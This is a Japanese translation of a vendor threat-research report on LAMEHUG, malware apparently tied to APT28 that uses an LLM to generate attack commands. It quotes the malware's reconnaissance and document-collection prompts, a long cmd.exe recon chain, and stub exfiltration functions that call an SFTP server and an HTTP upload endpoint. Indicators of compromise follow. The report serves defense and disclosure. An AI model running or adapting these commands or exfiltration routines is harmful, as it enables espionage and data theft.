レポート 6241

関連インシデント

インシデント 12202 Report
LAMEHUG Malware Reportedly Integrates Large Language Model for Real-Time Command Generation in a Purported APT28-Linked Cyberattack

Loading...
Cato CTRL™ 脅威調査：LAMEHUG の分析 – APT28 (Fancy Bear) との関連性が明らかになった初の LLM 搭載マルウェア
catonetworks.com · 2025

概要

2025年7月17日、ウクライナのコンピュータ緊急対応チーム（CERT-UA）は、大規模言語モデル（LLM）機能を攻撃手法に直接統合した初のマルウェアとして記録されているLAMEHUGを公表しました。

主な事実：

  • 発見日：2025年7月10日

  • 攻撃元：CERT-UAによると、APT28（Fancy Bear）による攻撃。確信度は中程度。

  • 標的：ウクライナ政府関係者

  • 攻撃ベクトル：ウクライナ省庁関係者を装ったフィッシングメール。PyInstallerでコンパイルされたPython実行ファイルが含まれたZIPアーカイブが含まれている。

  • 技術革新：マルウェアは、リアルタイムのコマンド生成にLLM Qwen2.5-Coder-32B-Instructを使用しています。私たちの分析によると、APT28は認証に約270個のHugging Faceトークンを使用していました。

  • 評価：国家支援型サイバー攻撃におけるLLM統合の概念実証（PoC）調査。

技術概要

初期の発見と配布

LAMEHUG攻撃キャンペーンは、CERT-UAがウクライナ政府関係者の間で不審なメールが配布されているという報告を受けたことから始まりました。これらのメールは関係省庁の担当者から送信されたと思われ、「Додаток.pdf.zip」（Attachment.pdf.zip）という添付ファイルが含まれていました。

LLM統合

LAMEHUGの特徴は、動的な攻撃生成のためにAIを統合していることです。 CERT-UAのアラートによると、このマルウェアは「huggingface[.]coサービスAPIを介してLLM Qwen2.5-Coder-32B-Instructを使用し、静的に入力されたテキスト（説明）に基づいてコマンドを生成し、コンピュータ上で実行します。」

LAMEHUGの亜種

ZIPアーカイブには、PyInstallerを使用してPythonソースコードから変換された「.pif」拡張子の実行ファイルが含まれていました。 CERT-UAは、LAMEHUGマルウェアの複数の亜種を発見しました。

  • Додаток.pif (Attachment.pif)

  • save_document.py

  • AI_generator_uncensored_Canvas_PRO_v0.9.exe

  • AI_image_generator_v0.95.exe

  • image.py

これらの亜種は、データ窃取手法に機能的な違いが見られ、このマルウェアファミリーが継続的に開発・適応されていることを示しています。

リバースエンジニアリング：実際のプロンプト

マルウェアサンプルの分析により、LLMに送信されているプロンプトの正確な内容が明らかになりました。このマルウェアは、意図を隠蔽するためにBase64エンコードされたプロンプトを使用しています。

**図1. マルウェア実行中にユーザーに表示されるДодаток.pif.pdf (Attachment.pif.pdf) *

Додаток.pif の迅速な分析バリアント

Додаток.pif

*図2. Qwen2.5-Coder-32B-Instructモデルに送信されるДодаток.pifプロンプト（例） #1) *

Додаток.pif

*図3. Qwen2.5-Coder-32B-Instruct モデルに送信されるДодаток.pif プロンプト (例) #2) *

*図4. Qwen2.5-Coder-32B-Instructモデルに送信されるДодаток.pifプロンプト（例 #3） *

Додаток.pif亜種は、2つの特定のプロンプトを使用します。

  1. システム情報収集プロンプト：「C:\Programdata\infoフォルダを作成し、コンピュータ情報、ハードウェア情報、プロセスとサービス情報、ネットワーク情報、ADドメイン情報を1行で実行し、それぞれの結果をテキストファイル c:\Programdata\info\info.txt に追加します。コマンドのみをマークダウンなしで返します。
  2. ドキュメント収集プロンプト: 「ユーザーのドキュメント、ダウンロード、デスクトップフォルダにある異なるOfficeドキュメントとPDF/TXTドキュメントを、フォルダ c:\Programdata\info\ に再帰的にコピーするコマンドのリストを作成し、1行で実行します。コマンドのみをマークダウンなしで返します。」

AI画像生成器バリアントのプロンプト分析

image.py_prompts

*図5. Qwen2.5-Coder-32B-Instructモデルに送信されるimage.pyプロンプト

AI画像生成器バリアント（AI_generator_uncensored_Canvas_PRO_v0.9.exeおよびAI_image_generator_v0.95.exe）は、刺激的な画像生成プロンプトをルアー：

「曲線美のある裸の女性が座っている。長く美しい脚。正面図、全身図、顔が見える。」

これらの亜種は、Flux AI 画像生成 API (https://router.huggingface.co/nebius/v1/images/generations) にアクセスしながら、バックグラウンドで同じデータ収集および情報抽出ルーチンを同時に実行します。

マルウェアの動作フロー

当社の分析によると、LAMEHUG は以下のプロセスで動作します。

  1. プロンプト生成：マルウェアには、攻撃目的を記述した、事前に定義された base64 エンコードされたテキストが含まれています。

  2. API 通信：マルウェアは、認証用に約 270 個のトークンを使用し、Hugging Face の API を介してこれらのプロンプトを Qwen2.5-Coder-32B-Instruct モデルに送信します。

  3. コマンド生成：LLM は、要求された目的に合わせてカスタマイズされた実行可能なコマンドシーケンスで応答します。

  4. リアルタイム実行：マルウェアは、AIが生成したコマンドを標的システム上で即座に実行します。

情報抽出方法

マルウェアは、亜種に応じて2つの異なる情報抽出方法を実装しています。

SFTP によるデータ流出 (image.py の亜種)

def ssh_send(path):

address = '144[.]126[.]202[.]227'

port = 22

username = 'upstage'

password = 'upstage'

target_path = '/tmp/upl/'

# [SFTP アップロードロジック]

HTTP POST によるデータ流出 (Додаток.pif の亜種)

def send(path):

url = 'https[:]//stayathomeclasses[.]com/slpw/up[.]php'

# [HTTP POST アップロードロジック]

LLM 生成コマンドの分析

CERT-UA は、LLM 統合によって生成された実際のコマンドシーケンスを文書化し、動的な AI 生成によって実現される高度な偵察機能を実証しました。

cmd.exe /c "mkdir %PROGRAMDATA%\info && systeminfo >> %PROGRAMDATA%\info\info.txt && wmic computersystem で名前、製造元、モデルを取得 >> %PROGRAMDATA%\info\info.txt && wmic cpu で名前、速度を取得 >> %PROGRAMDATA%\info\info.txt && wmic memorychip で容量、速度を取得 >> %PROGRAMDATA%\info\info.txt && wmic diskdrive でモデル、サイズを取得 >> %PROGRAMDATA%\info\info.txt && wmic nic で名前、MACアドレス、IPアドレスを取得 >> %PROGRAMDATA%\info\info.txt && tasklist >> %PROGRAMDATA%\info\info.txt && net start >> %PROGRAMDATA%\info\info.txt && ipconfig /all >> %PROGRAMDATA%\info\info.txt && whoami /user >> %PROGRAMDATA%\info\info.txt && whoami /groups >> %PROGRAMDATA%\info\info.txt && net config workstation >> %PROGRAMDATA%\info\info.txt && dsquery user -samid %username% >> %PROGRAMDATA%\info\info.txt && dsquery computer -name %COMPUTERNAME% >> %PROGRAMDATA%\info\info.txt && dsquery group >> %PROGRAMDATA%\info\info.txt && dsquery ou >> %PROGRAMDATA%\info\info.txt && dsquery site >> %PROGRAMDATA%\info\info.txt && dsquery subnet >> %PROGRAMDATA%\info\info.txt && dsquery server >> %PROGRAMDATA%\info\info.txt && dsquery domain >> %PROGRAMDATA%\info\info.txt"

この包括的なコマンドシーケンスは、LLMが以下の情報を収集する広範なシステム偵察コマンドを生成する能力を示しています。

  • ハードウェアおよびシステム情報: wmic、systeminfo

  • 実行中のプロセスおよびサービス: tasklist、net start

  • ネットワーク構成の詳細: ipconfig、wmic、nic

  • ユーザーおよびグループ情報: whoami、dsquery

  • Active Directory (AD) 構造の完全な列挙: dsquery をフル活用

攻撃元特定: APT28 が新たな機能をテスト

CERT-UA は、LAMEHUG 攻撃キャンペーンを APT28 (Fancy Bear) によるものと中程度の確信度で特定しています。 APT28は、ロシア連邦軍情報総局（GRU）のUnit 26165と関連しています。

なぜこれがPoCテストであるように見えるのか

実際のマルウェアコードと動作特性を分析した結果、APT28は高度な運用展開ではなく、新しいLLM機能をテストしている可能性がいくつか示唆されました。

  1. コードのシンプルさ：Pythonスクリプトは比較的基本的なもので、APT28の運用で一般的に見られる高度な回避手法は採用されていません。

  2. 明らかなAI統合：LLM統合は、AIサービスの使用を難読化したり隠蔽したりする試みをすることなく、直接実装されています。

  3. 限定的な運用セキュリティ：高度なマスキング手法を用いずに、容易に識別できるプロンプトと正当なAIサービスを使用しています。

  4. テスト場：ウクライナは歴史的にロシアのサイバー能力のテスト場として機能しており、PoC展開に最適な場所です。

  5. 複数の亜種：様々な情報抽出手法を持つ様々な亜種が存在するため、様々なアプローチを試す必要があります。

従来のセキュリティソリューションにおける検出の課題

LAMEHUGは、従来のサイバーセキュリティアプローチにおける根本的な課題を提示しています。

  • シグネチャベースの検出は、動的なコマンド生成により失敗する。

  • ネットワークトラフィックが正当なトラフィックに見える（AI APIの使用）。

  • 行動分析には、LLMを利用した脅威に特化した新しい手法が必要となる。

2025 Cato CTRL™ 脅威レポート |レポートをダウンロード

セキュリティのベストプラクティス

シャドーAI（可視性と制御）

LAMEHUG型の脅威に対する最も重要な保護策は、AIアクセスの制御です。

  • 承認済みLLMのみの適用：ユーザーがアクセスできる生成AI（GenAI）アプリケーションと、許可されるアクション（アップロード、ダウンロードなど）を定義します。

  • リアルタイムデータ保護：LLMへの機密データのアップロードを制限または防止することで、データセキュリティと機密性の侵害をリアルタイムで回避します。

  • 包括的な可視性：Cato CASB の 950 種類以上の GenAI アプリケーションカタログを使用して、組織全体のすべての GenAI 使用状況を監視できます。

ネットワークレベルの保護

  • ML を活用したマルウェア検出：Cato NGAM は、ML アルゴリズムを使用してゼロデイマルウェアとポリモーフィック型マルウェアを検出します。

  • DNS セキュリティ：Cato IPS に統合された DNS 保護は、DNS クエリと応答を分析し、悪意のあるドメインをブロックします。

  • アプリケーション制御：特に AI プラットフォームに重点を置き、クラウドサービスと API へのアクセスを監視および制御します。

拡張検知・対応

Cato XDR を使用すると、組織は以下のことが可能になります。

  • AI/ML 脅威ハンティング：すべてのユーザー、ホスト、アプリに対して、継続的な ML ベースの脅威ハンティングと UEBA ベースライン分析を実施し、ステルス性の高いマルウェアや予防的制御を回避する異常な動作を検出します。

  • スマート調査：動的なリスクスコアリングによるインシデントの自動相関分析。ピボット対応のアナリストワークベンチに表示されるため、概要レベルの「ストーリー」から生のフローやログまで、迅速に詳細に分析できます。

  • ワンクリック対応：組み込みの修復機能により、セキュリティアナリストはホストの隔離、新しいSDP/ファイアウォールルールの導入、エンドポイントアクションの即時トリガーなど、すべてを単一のコンソールから実行できます。

ラテラルムーブメント保護

  • ラテラルムーブメント：Cato IPSは、ラテラルムーブメントのパターンと指標を検出、発見、ブロックし、WANを介したマルウェアの拡散を防ぎます。

ゼロトラストネットワークアクセス

  • マイクロセグメンテーション：Cato Universal ZTNA により、組織はソフトウェア定義のセキュリティ境界を使用してネットワークをより小さなセグメントに分割し、ラテラルムーブメントを制限できます。

結論

CERT-UAによるLAMEHUGの発見は、脅威情勢における重要な節目となります。このキャンペーンはAPT28（Fancy Bear）によるPoCテストのように見えますが、AIがマルウェア攻撃に直接組み込まれる新しい時代の幕開けを示唆しています。このキャンペーンは、サイバー活動における新興AI技術への国家支援による投資を浮き彫りにしており、ウクライナはこれらの新機能の試験場となっています。比較的シンプルな実装は、APT28がLLMを武器化する方法を学ぶ試みであることを示唆しており、将来的にはより高度なAI主導型キャンペーンへの扉を開く可能性があります。

Cato SASE Cloud PlatformなどのSASEプラットフォームを活用する組織は、統合されたセキュリティ管理、行動分析、高度な脅威防御機能を通じて、AIを活用した新たな脅威に対する防御体制を強化できます。脅威アクターがAI技術を組み込むように戦術を進化させ続けるにつれ、セキュリティプラットフォームはAIに対応した保護メカニズムを提供するように進化する必要があります。

侵害の兆候 (IoC)

ファイルインジケーター

| MD5 | SHA256 | ファイル名 | | abe531e9f1e642c47260fac40dc41f59 | 766c356d6a4b00078a0293460c5967764fcd788da8c1cd1df708695f3a15b777 | Додаток[.]pif | | 3ca2eaf204611f3314d802c8b794ae2c | d6af1c9f5ce407e53ec73c8e7187ed804fb4f80cf8dbd6722fc69e15e135db2e | AI_generator_uncensored_Canvas_PRO_v0.9[.]exe | | f72c45b658911ad6f5202de55ba6ed5c | bdb33bbb4ea11884b15f67e5c974136e6294aa87459cdc276ac2eea85b1deaa3 | AI_image_generator_v0.95[.]exe | | 81cd20319c8f0b2ce499f9253ce0a6a8 | 384e8f3d300205546fb8c9b9224011b3b3cb71adc994180ff55e1e6416f65715 | 画像[.]py |

ネットワークインフラストラクチャ

コマンドアンドコントロール:

  • 144[.]126.202.227 (データ窃取用SFTPサーバー)

  • stayathomeclasses[.]com (侵害されたホスティングリソース)

  • https://stayathomeclasses[.]com/slpw/up.php (窃取エンドポイント)

配布元:

  • boroda70@meta[.]ua (侵害されたメールアカウント)

  • 192[.]36.27.37 (LeVPN経由のメール送信インフラストラクチャ)

LLM APIエンドポイント:

  • https[:]//router[.]huggingface.co/hyperbolic/v1/chat/completions

  • https[:]//router[.]huggingface.co/nebius/v1/images/generations

ホストベースのアーティファクト

  • %PROGRAMDATA%\info\ (データステージングディレクトリ)

  • %PROGRAMDATA%\info\info.txt (システム情報収集ファイル)

  • %PROGRAMDATA%\Додаток.pdf (デコイドキュメント)

情報源を読む